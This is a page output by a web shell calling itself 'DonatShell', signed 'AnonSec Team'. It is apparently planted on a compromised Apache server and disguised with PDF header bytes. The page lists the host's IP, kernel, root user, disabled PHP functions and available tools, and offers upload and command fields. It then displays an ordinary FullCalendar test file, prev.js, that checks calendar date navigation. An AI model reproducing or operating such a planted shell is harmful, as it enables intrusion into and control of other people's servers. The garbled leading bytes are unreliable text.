%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/view-dates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/view-dates/prev.js
/*
SEE ALSO:
- next (does core of date switching)
*/

import { expectActiveRange } from './ViewDateUtils'

describe('prev', function() {
  pushOptions({
    defaultDate: '2017-06-08'
  })

  describe('when in a week view', function() {
    pushOptions({
      defaultView: 'timeGridWeek'
    })

    it('moves back by one week', function() {
      initCalendar()
      currentCalendar.prev()
      expectActiveRange('2017-05-28', '2017-06-04')
    })

    describe('when two week dateIncrement', function() {
      pushOptions({
        dateIncrement: { weeks: 2 }
      })

      it('moves back by two weeks', function() {
        initCalendar()
        currentCalendar.prev()
        expectActiveRange('2017-05-21', '2017-05-28')
      })
    })
  })

  // https://github.com/fullcalendar/fullcalendar/issues/4595
  it('can navigate back when starting late in month', function() {
    initCalendar({
      defaultDate: '2019-03-31T12:00',
      defaultView: 'dayGridMonth'
    })
    expectActiveRange('2019-02-24', '2019-04-07')
    currentCalendar.prev()
    expectActiveRange('2019-01-27', '2019-03-10')
  })

  // related to #4595
  it('can navigate forward when starting late in month', function() {
    initCalendar({
      defaultDate: '2019-03-31T12:00',
      defaultView: 'dayGridMonth'
    })
    expectActiveRange('2019-02-24', '2019-04-07')
    currentCalendar.next()
    expectActiveRange('2019-03-31', '2019-05-12')
  })

})

Anon7 - 2022
AnonSec Team